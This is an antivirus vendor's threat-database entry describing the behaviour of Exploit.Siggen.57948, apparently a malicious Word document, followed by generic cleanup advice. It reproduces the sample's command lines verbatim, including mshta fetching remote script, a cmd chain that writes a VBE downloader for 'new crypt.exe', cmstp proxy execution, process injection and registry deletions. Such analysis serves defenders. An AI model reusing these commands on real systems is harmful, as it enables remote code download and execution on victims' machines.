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Exploit.Siggen.57948
Added to the Dr.Web virus database:
2020-01-27
Virus description added:
2020-01-29
Technical Information
Malicious functions
Executes the following
'%WINDIR%\syswow64\taskkill.exe' /F /IM winword.exe
'%WINDIR%\syswow64\taskkill.exe' /F /IM cmstp.exe
Executes the following (exploit)
'%WINDIR%\syswow64\cmd.exe' /c CmD < "%tmP%\aaaaaaaaaa.txt" & exit c
Injects code into
the following system processes:
%WINDIR%\explorer.exe
%WINDIR%\syswow64\colorcpl.exe
the following user processes:
Hooks functions
in browsers
iexplore.exe process, wininet.dll module
firefox.exe process, nss3.dll module
Modifies file system
Creates the following files
%TEMP%\aaaaaaaaaa.txt
%TEMP%\hacrgnjbggzhut.txt
%TEMP%\zkpbyaegdueapeh.sct
%TEMP%\snzawpgkihibqpjy.doc
%APPDATA%\microsoft\network\connections\cm\ .cmp
%TEMP%\o5m.vbe
%TEMP%\txx.exe
Deletes the following files
%TEMP%\zkpbyaegdueapeh.sct
%TEMP%\o5m.vbe
%TEMP%\txx.exe
Network activity
TCP
HTTP GET requests
http://13#.#8.169.9/xynj/fine.txt
http://13#.#8.169.9/xynj/fina.txt
http://13#.#8.169.9/xynj/new%20crypt.exe
Miscellaneous
Searches for the following windows
ClassName: '' WindowName: ''
Creates and executes the following
'<SYSTEM32>\wscript.exe' "%TEMP%\O5m.vBe"
'%TEMP%\txx.exe'
'%WINDIR%\syswow64\cmd.exe' /c CmD < "%tmP%\aaaaaaaaaa.txt" & exit c' (with hidden window)
'<SYSTEM32>\cmd.exe' /c mshta http://13#.#8.169.9/xynj/fina.txt' (with hidden window)
'<SYSTEM32>\cmd.exe' /C Cd %TemP% & @EChO C9t = "http://13#.#8.169.9/xynj/new crypt.exe">>O5m.vBe &@EChO B8u = F4i("UYY/FYF")>>O5m.vBe &@EChO Set N1d = CreateObject(F4i("NTYNM3/YNMIUUQ"))...' (with hidden window)
Executes the following
'%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Resiliency /f
'%ProgramFiles%\microsoft office\office14\winword.exe' "%TEMP%\\snZawPgKIhIbqpJy.doc"
'<SYSTEM32>\cmstp.exe' /s /ns "%TEMP%\hacRGnjBGGZhUt.txt"
'<SYSTEM32>\cmd.exe' /c mshta http://13#.#8.169.9/xynj/fina.txt
'<SYSTEM32>\mshta.exe' http://13#.#8.169.9/xynj/fina.txt
'<SYSTEM32>\cmd.exe' /C Cd %TemP% & @EChO C9t = "http://13#.#8.169.9/xynj/new crypt.exe">>O5m.vBe &@EChO B8u = F4i("UYY/FYF")>>O5m.vBe &@EChO Set N1d = CreateObject(F4i("NTYNM3/YNMIUUQ"))...
'<SYSTEM32>\timeout.exe' 12
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency /f
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\File MRU" /v "Item 1"
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Resiliency /f
'%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Resiliency /f
'%WINDIR%\syswow64\cmd.exe'
'%WINDIR%\syswow64\colorcpl.exe'
'%WINDIR%\syswow64\cmd.exe' del "%TEMP%\TXX.EXE"
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
Download Dr.Web for Android
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Renew your trial license in AppGallery/on Google Pay
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